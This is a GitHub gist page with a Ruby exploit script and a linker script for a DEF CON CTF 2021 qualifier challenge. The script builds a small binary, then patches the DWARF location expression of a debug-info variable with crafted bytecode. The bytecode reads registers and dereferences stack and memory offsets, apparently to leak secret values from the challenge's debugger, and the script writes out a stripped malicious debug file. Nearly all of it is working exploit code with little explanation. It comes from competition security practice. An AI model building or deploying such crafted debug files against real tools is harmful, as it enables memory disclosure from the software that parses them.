Skip to content

Instantly share code, notes, and snippets.

@shinh
Last active May 5, 2021 04:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shinh/1a7c185ea0478f7b14f2ec905b59d1b1 to your computer and use it in GitHub Desktop.
Save shinh/1a7c185ea0478f7b14f2ec905b59d1b1 to your computer and use it in GitHub Desktop.
DEF CON CTF 2021 Qual exploit-for-dummies
#!/usr/bin/env ruby
# Need gold or lld, probably
def File.read(filename)
File.open(filename, 'r:binary') do |f|
f.read
end
end
def File.write(filename, s)
File.open(filename, 'w:binary') do |f|
f.write(s)
end
end
base_code = %q(
int a;
int F;
int flag3;
//volatile int flag4;
//volatile int flag5;
//volatile int flag6;
//volatile int flag7;
//volatile int flag8;
int main;
)
File.write("dwarf_base.c", base_code)
if !system("gcc -gno-record-gcc-switches -Wl,--no-eh-frame-hdr -static -g dwarf_base.c -Wl,-T,minimal.lds -o trivia.debug")
raise
end
#system("objcopy --only-keep-debug dwarf_base.o trivia.debug")
#exit
debug_info_off = `readelf -a trivia.debug`[/\.debug_info.*\s+(\h+)$/, 1].hex
STDERR.puts "[-] debug_info=%x" % debug_info_off
flag_found = false
location_off = nil
block = nil
`readelf -wi trivia.debug`.split("\n").each do |line|
if line =~ /F$/
flag_found = true
end
if flag_found && line =~ /<(\h+)>\s+DW_AT_location.*block: (.*?)\s+\(/
location_off = $1.hex
block = $2
break
end
end
STDERR.puts "[-] location_off=%x" % location_off
STDERR.puts "[-] block=%s" % block
base_binary = File.read("trivia.debug")
p base_binary[debug_info_off + location_off, 10]
block = block.split.map{|b|b.hex.chr} * ''
p base_binary.index(block)
move_off = 0
dwarf_size = 9 + move_off + 0x16 * 1
STDERR.puts "[-] dwarf_size=%d" % dwarf_size
base_binary[debug_info_off + location_off - move_off] = dwarf_size.chr
def sleb(v)
r = ''
done = false
while !done
b = v & 0x7f
v >>= 7
if ((v == 0 && (b & 0x40) == 0) || (v == -1 && (b & 0x40)))
done = true
else
b |= 0x80
end
r += b.chr
end
r
end
def dw_lit(n)
(0x30 + n).chr
end
def dw_breg(r, o)
(0x70 + r).chr + sleb(o)
end
def dw_deref
0x6.chr
end
def dw_consts(v)
0x11.chr + sleb(v)
end
dw_nop = 0x96.chr
dw_add = 0x22.chr
dw_xor = 0x27.chr
dwarf = ''
# p/x $rbx
dwarf += dw_breg(3, 0)
# x/gx 0x404100
dwarf += dw_consts(0x404100)
dwarf += dw_deref
# x/gx $rsp+0x98
dwarf += dw_breg(7, 0x98)
dwarf += dw_deref
# x/gx *(unsigned long *)($rsp+0xb8)+0x10
dwarf += dw_breg(7, 0xb8)
dwarf += dw_deref
dwarf += dw_consts(0x10)
dwarf += dw_add
dwarf += dw_deref
dwarf += dw_xor
dwarf += dw_xor
dwarf += dw_xor
raise if dwarf.size > dwarf_size
while dwarf.size != dwarf_size
dwarf += dw_nop
end
base_binary[debug_info_off + location_off - move_off + 1, dwarf.size] = dwarf
#base_binary.gsub!('.dwo', "\0\0\0\0")
#base_binary[0x188] = 42.chr
File.write('mod', base_binary)
system("objcopy -I elf64-x86-64 -O elf64-x86-64 -j '.debug_info' -j '.debug_abbrev' -j '.debug_str' mod out")
system("ls -l out")
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
"elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
SECTIONS
{
.text :
{
*(.text)
}
/DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) *(.note*) *(.comment*) }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment